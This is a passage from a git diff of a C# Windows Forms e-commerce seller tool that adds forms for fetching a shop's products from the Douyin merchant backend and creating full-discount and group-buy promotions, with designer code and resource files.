((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).BeginInit(); + this.SuspendLayout(); + // + // splitContainer2 + // + this.splitContainer2.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer2.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.splitContainer2.Location = new System.Drawing.Point(0, 0); + this.splitContainer2.Name = "splitContainer2"; + this.splitContainer2.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer2.Panel1 + // + this.splitContainer2.Panel1.Controls.Add(this.dgvProduct); + this.splitContainer2.Panel1.Padding = new System.Windows.Forms.Padding(4, 4, 4, 0); + // + // splitContainer2.Panel2 + // + this.splitContainer2.Panel2.Controls.Add(this.label1); + this.splitContainer2.Panel2.Controls.Add(this.statusBar); + this.splitContainer2.Size = new System.Drawing.Size(1021, 469); + this.splitContainer2.SplitterDistance = 439; + this.splitContainer2.TabIndex = 10; + // + // dgvProduct + // + this.dgvProduct.AllowUserToAddRows = false; + this.dgvProduct.AllowUserToDeleteRows = false; + dataGridViewCellStyle1.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvProduct.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle1; + this.dgvProduct.BackgroundColor = System.Drawing.Color.White; + this.dgvProduct.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle2.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle2.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle2.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle2.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle2.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle2.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvProduct.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle2; + this.dgvProduct.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvProduct.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.colProductId, + this.colProductName, + this.colStock, + this.colPrice, + this.colMessage}); + this.dgvProduct.Dock = System.Windows.Forms.DockStyle.Fill; + this.dgvProduct.Location = new System.Drawing.Point(4, 4); + this.dgvProduct.Name = "dgvProduct"; + this.dgvProduct.ReadOnly = true; + dataGridViewCellStyle3.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvProduct.RowsDefaultCellStyle = dataGridViewCellStyle3; + this.dgvProduct.RowTemplate.Height = 23; + this.dgvProduct.Size = new System.Drawing.Size(1013, 435); + this.dgvProduct.TabIndex = 6; + this.dgvProduct.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvProduct_CellContentClick); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.MidnightBlue; + this.label1.Location = new System.Drawing.Point(536, 2); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(41, 12); + this.label1.TabIndex = 3; + this.label1.Text = "label1"; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1021, 26); + this.statusBar.TabIndex = 2; + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.False; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 41; + // + // colProductId + // + this.colProductId.HeaderText = "商品Id"; + this.colProductId.Name = "colProductId"; + this.colProductId.ReadOnly = true; + this.colProductId.Width = 150; + // + // colProductName + // + this.colProductName.HeaderText = "商品名称"; + this.colProductName.Name = "colProductName"; + this.colProductName.ReadOnly = true; + this.colProductName.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colProductName.Width = 450; + // + // colStock + // + this.colStock.HeaderText = "库存"; + this.colStock.Name = "colStock"; + this.colStock.ReadOnly = true; + this.colStock.Width = 60; + // + // colPrice + // + this.colPrice.HeaderText = "价格(¥)"; + this.colPrice.Name = "colPrice"; + this.colPrice.ReadOnly = true; + // + // colMessage + // + this.colMessage.HeaderText = "提示消息"; + this.colMessage.Name = "colMessage"; + this.colMessage.ReadOnly = true; + this.colMessage.Width = 300; + // + // FullMinusShopForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(1021, 469); + this.Controls.Add(this.splitContainer2); + this.Name = "FullMinusShopForm"; + this.Text = "FullMinusShopForm"; + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + this.splitContainer2.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dgvProduct)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvProduct; + private System.Windows.Forms.Label label1; + public UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn colProductName; + private System.Windows.Forms.DataGridViewTextBoxColumn colStock; + private System.Windows.Forms.DataGridViewTextBoxColumn colPrice; + private System.Windows.Forms.DataGridViewTextBoxColumn colMessage; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.cs new file mode 100644 index 0000000..9fd06a8 --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.cs @@ -0,0 +1,307 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using LittleRabbit.Extension; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class FullMinusShopForm : Form + { + private DouShopLoginInfo shop = null; + private CheckBox chkSelectAll = null; + public List lstProductId = new List(); + public FullMinusForm fullMinusForm = null; + public List productList = new List(); + private string _signature = ""; + private string _underline = ""; + public bool isGetProductSuccess = false; + + public FullMinusShopForm(DouShopLoginInfo _shop = null) + { + InitializeComponent(); + + shop = _shop; + //设置全选按钮 + chkSelectAll = dgvProduct.Columns["colSelect"].AddHeaderCheckBox(HorizontalAlignment.Center, 0, 0, null, null, false); + dgvProduct.Columns["colSelect"].HeaderText = ""; + chkSelectAll.Width = chkSelectAll.Height = 13; + chkSelectAll.CheckedChanged += chkSelectAll_CheckedChanged; //全选事件 + } + private void chkSelectAll_CheckedChanged(object sender, EventArgs e) + { + if (!chkSelectAll.Checked) + { + lstProductId.Clear(); + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = false; + } + } + else + { + lstProductId.Clear(); //先清空,然后把id加入list + foreach (DataGridViewRow row in dgvProduct.Rows) + { + row.Cells["colSelect"].Value = true; + long ProductId = row.Cells["colProductId"].Value.ParseToLong(); + lstProductId.Add(ProductId.ToString()); + } + } + } + public void ShowVisitorMessage(string msg) + { + Invoke(new Action(() => { this.label1.Text = msg; })); + } + + public void GetProduct() + { + if (shop == null) + return; + + ShowVisitorMessage(""); + foreach (DataGridViewRow r in dgvProduct.Rows) + { + r.Cells["colStock"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + } + + Task.Run(() => + { + if (shop.LoginStatus == "登录成功") + fullMinusForm.GetProductByCef(shop); + + var rowsTemp = dgvProduct.Rows.Cast().ToList(); + rowsTemp.Reverse(); + }).Wait(); + } + + public void GetProductSim(string listUrl, string referrerUrl, Dictionary headers, string firstPageData = "", string campaign_start_time = "", string campaign_end_time = "") + { + ShowVisitorMessage(""); + foreach (DataGridViewRow r in dgvProduct.Rows) + { + Invoke(new Action(() => + { + r.Cells["colStock"].Value = "获取中"; + r.Cells["colMessage"].Value = ""; + })); + } + + ShowVisitorMessage("正在准备获取商品"); + int total = -1; + int number = 0; + string result = ""; + if (!string.IsNullOrEmpty(firstPageData)) + result = firstPageData; + + referrerUrl = "https://fxg.jinritemai.com/market/center/tools/moneyoff"; + _underline = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_underline)) + _underline = BaseRegex.GetMatchRegexString(ref listUrl, "&_=([\\s\\S]+?)"); + if (string.IsNullOrEmpty(_underline)) + _underline = BaseClass.DateTimeToTimestampMilliseconds(DateTime.Now).ToString(); + _signature = BaseRegex.GetMatchRegexString(ref listUrl, "&_signature=([\\s\\S]+?)&"); + if (string.IsNullOrEmpty(_signature)) + { + var listUrl2 = listUrl + "&"; + _signature = BaseRegex.GetMatchRegexString(ref listUrl2, "&_signature=([\\s\\S]+?)&"); + } + listUrl = "https://fxg.jinritemai.com/marketing/activity/v1/query_product?name=&page=1&pageSize=15&start_time=" + BaseClass.DateTimeToTimestampSeconds(campaign_start_time.ParseToDateTime()) + "&end_time=" + BaseClass.DateTimeToTimestampSeconds(campaign_end_time.ParseToDateTime()) + "&_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature; + + for (int i = 1; i < 9999; i++) + { + if (i == 666) + { + } + result = ""; + number += 15; + for (int j = 0; j < 3 && !result.Contains("\"st\":0"); j++) + { + CommonSimRequest simRequest = new CommonSimRequest(); + simRequest.Accept = "application/json, text/plain, */*"; + if (headers.ContainsKey("Accept")) + simRequest.Accept = headers["Accept"]; + if (headers.ContainsKey("UserAgent")) + simRequest.UserAgent = headers["UserAgent"]; + + var cookie = shop.Cookies; + var rUrl = listUrl.Replace("page=1", "page=" + i); + int pageSize = 15; + if (number > 10000) + { + pageSize = 15 - (number - 10000); + if (pageSize < 0) + pageSize = 0; + rUrl = rUrl.Replace("pageSize=15", "pageSize=" + pageSize); + } + result = simRequest.Request_Get(rUrl, referrerUrl, new Dictionary(), cookie); + if (j > 0) + { + Thread.Sleep(Randomx.GetId(250, 500)); + } + ShowVisitorMessage("正在获取商品第" + i + "页"); + } + + if (result.Contains("\"st\":0") && !fullMinusForm.cancellationTokenSource.IsCancellationRequested) + { + this.isGetProductSuccess = true; + if (total == -1) + total = BaseRegex.GetIntJson(ref result, "total"); + + int totalPage = Math.Ceiling(total / 15M).ParseToInt(); + string message = "正在获取商品第" + i + "页,共" + totalPage + "页"; + ShowVisitorMessage(""); + + Invoke(new Action(() => + { + this.statusBar.lblTaskStatus.Text = message; + this.statusBar.pgbTaskProgress.Value = i; + this.statusBar.pgbTaskProgress.Text = i + "/" + totalPage; + this.statusBar.pgbTaskProgress.Maximum = totalPage; + })); + + try + { + var jObj = JObject.Parse(result); + var pList = JsonHelper.DeserializeJsonToList(jObj["data"]["data"]?.ToString()); + + foreach (var product in pList) + { + if (product.allow == false) + continue; + + if (productList.Any(p => p.product_id == product.product_id)) + productList.RemoveAll(p => p.product_id == product.product_id); + productList.Add(product); + + Invoke(new Action(() => + { + if (this.dgvProduct.Rows.Count >= productList.Count) + { + DataGridViewRow row = dgvProduct.Rows.Cast().FirstOrDefault(x => x.Cells["colProductId"].Value.ToString() == product.product_id); + if (row != null) + { + row.Cells["colStock"].Value = product.stock_num; + row.Cells["colMessage"].Value = ""; + } + else + dgvProduct.Rows.Add(false, product.product_id, product.name, product.stock_num, + product.min_price / 100M + " - " + product.max_price / 100M); + } + else + dgvProduct.Rows.Add(false, product.product_id, product.name, product.stock_num, + product.min_price / 100M + " - " + product.max_price / 100M); + })); + } + Thread.Sleep(Randomx.GetId(250, 500)); + } + catch (Exception) + { + isGetProductSuccess = false; + break; + } + } + else + { + isGetProductSuccess = false; + break; + } + + if (number >= total) + break; + } + Invoke(new Action(() => + { + if (fullMinusForm.cancellationTokenSource.IsCancellationRequested) + { + this.statusBar.lblTaskStatus.Text = "获取中断"; + } + else if (!isGetProductSuccess) + { + this.statusBar.lblTaskStatus.Text = "获取商品信息失败"; + } + else + { + this.statusBar.lblTaskStatus.Text = "获取完成"; + } + //this.statusBar.pgbTaskProgress.Value = 0; + //this.statusBar.pgbTaskProgress.Text = 0 + "/" + 0; + //this.statusBar.pgbTaskProgress.Maximum = 0; + })); + } + + private void dgvProduct_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string columnName = dgvProduct.Columns[e.ColumnIndex].Name; + long ProductId = dgvProduct.Rows[e.RowIndex].Cells["colProductId"].Value.ParseToLong(); + var row = dgvProduct.Rows[e.RowIndex]; + switch (columnName) + { + case "colSelect": + row.Cells["colSelect"].Value = !row.Cells["colSelect"].Value.ParseToBool(); + if (dgvProduct.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + lstProductId.Add(ProductId.ToString()); + else + lstProductId.Remove(ProductId.ToString()); + break; + } + } + + public void ClearData() + { + this.productList.Clear(); + this.lstProductId.Clear(); + this.dgvProduct.Rows.Clear(); + } + + public string checkFullDiscountActivity(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/marketing/activity/v1/check_full_discount_activity?_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/moneyoffCreate?refer=1&newFeature=true", dicts, cookies, postData); + return result; + } + + public string createFullDiscountActivity(string postData, string cookies) + { + CommonSimRequest request = new CommonSimRequest(); + request.ContentType = "application/json"; + Dictionary dicts = new Dictionary(); + string reqUrl = "https://fxg.jinritemai.com/marketing/activity/v1/create_full_discount_activity?_bid=ecom_market_shop&appid=1&_=" + _underline + "&_signature=" + _signature; + string result = request.Request_PostByBigLength(reqUrl, "https://fxg.jinritemai.com/market/center/tools/moneyoffCreate?refer=1&newFeature=true", dicts, cookies, postData); + return result; + } + + public void RefreshdgvProduct(List strList) + { + if (strList != null && strList.Count > 0) + { + Invoke(new Action(() => + { + for (int i = 0; i < dgvProduct.Rows.Count; i++) + { + DataGridViewRow row = dgvProduct.Rows[i]; + long ActiveId = row.Cells["colProductId"].Value.ParseToLong(); + if (strList.Any(p => p == ActiveId.ToString())) + { + dgvProduct.Rows.Remove(row); + lstProductId.Remove(ActiveId.ToString()); + } + } + })); + } + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.resx new file mode 100644 index 0000000..0fcc52d --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/FullMinusShopForm.resx @@ -0,0 +1,138 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.Designer.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.Designer.cs new file mode 100644 index 0000000..7b79cce --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.Designer.cs @@ -0,0 +1,131 @@ +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + partial class GroupBuyCustomActivityNameForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(GroupBuyCustomActivityNameForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.labelX1 = new DevComponents.DotNetBar.LabelX(); + this.textBoxX1 = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.btnSave = new DevComponents.DotNetBar.PanelEx(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.labelX1); + this.panel2.Controls.Add(this.textBoxX1); + this.panel2.Controls.Add(this.btnSave); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(383, 416); + this.panel2.TabIndex = 1; + // + // labelX1 + // + this.labelX1.AutoSize = true; + // + // + // + this.labelX1.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.labelX1.ForeColor = System.Drawing.Color.Gray; + this.labelX1.Location = new System.Drawing.Point(16, 11); + this.labelX1.Name = "labelX1"; + this.labelX1.Size = new System.Drawing.Size(359, 18); + this.labelX1.TabIndex = 462; + this.labelX1.Text = "请输入自定义活动名称,一行一个(长度1-5个字,必须为中文):"; + // + // textBoxX1 + // + this.textBoxX1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + // + // + // + this.textBoxX1.Border.Class = "TextBoxBorder"; + this.textBoxX1.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.textBoxX1.Location = new System.Drawing.Point(16, 35); + this.textBoxX1.Multiline = true; + this.textBoxX1.Name = "textBoxX1"; + this.textBoxX1.PreventEnterBeep = true; + this.textBoxX1.Size = new System.Drawing.Size(351, 338); + this.textBoxX1.TabIndex = 461; + // + // btnSave + // + this.btnSave.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.btnSave.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.DisabledBackColor = System.Drawing.Color.Empty; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.Location = new System.Drawing.Point(309, 379); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(58, 23); + this.btnSave.Style.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.btnSave.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.btnSave.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.btnSave.Style.ForeColor.Color = System.Drawing.Color.White; + this.btnSave.Style.GradientAngle = 90; + this.btnSave.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.btnSave.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(102)))), ((int)(((byte)(255))))); + this.btnSave.TabIndex = 460; + this.btnSave.Text = "保存"; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // GroupBuyCustomActivityNameForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(385, 450); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "GroupBuyCustomActivityNameForm"; + this.Text = "自定义拼团活动名称"; + this.TitleText = "自定义拼团活动名称"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private DevComponents.DotNetBar.LabelX labelX1; + private DevComponents.DotNetBar.Controls.TextBoxX textBoxX1; + private DevComponents.DotNetBar.PanelEx btnSave; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.cs b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.cs new file mode 100644 index 0000000..70f9d4e --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.cs @@ -0,0 +1,36 @@ +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.SalesCenterForms +{ + public partial class GroupBuyCustomActivityNameForm : LRBaseForm + { + public GroupBuyCustomActivityNameForm() + { + InitializeComponent(); + + this.Load += GroupBuyCustomActivityNameForm_Load; + } + + private void GroupBuyCustomActivityNameForm_Load(object sender, EventArgs e) + { + this.textBoxX1.Text = string.Join("\r\n", GroupBuyForm.CustomActivityNames) + "\r\n"; + } + + private void btnSave_Click(object sender, EventArgs e) + { + GroupBuyForm.CustomActivityNames = this.textBoxX1.Text.Trim().Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).ToList(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("group_buy_custom_names", GroupBuyForm.CustomActivityNames); + this.Close(); + } + } +} diff --git a/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.resx b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.resx new file mode 100644 index 0000000..e330b8a --- /dev/null +++ b/TEMUKJD/KJDForms/SalesCenterForms/GroupBuyCustomActivityNameForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + 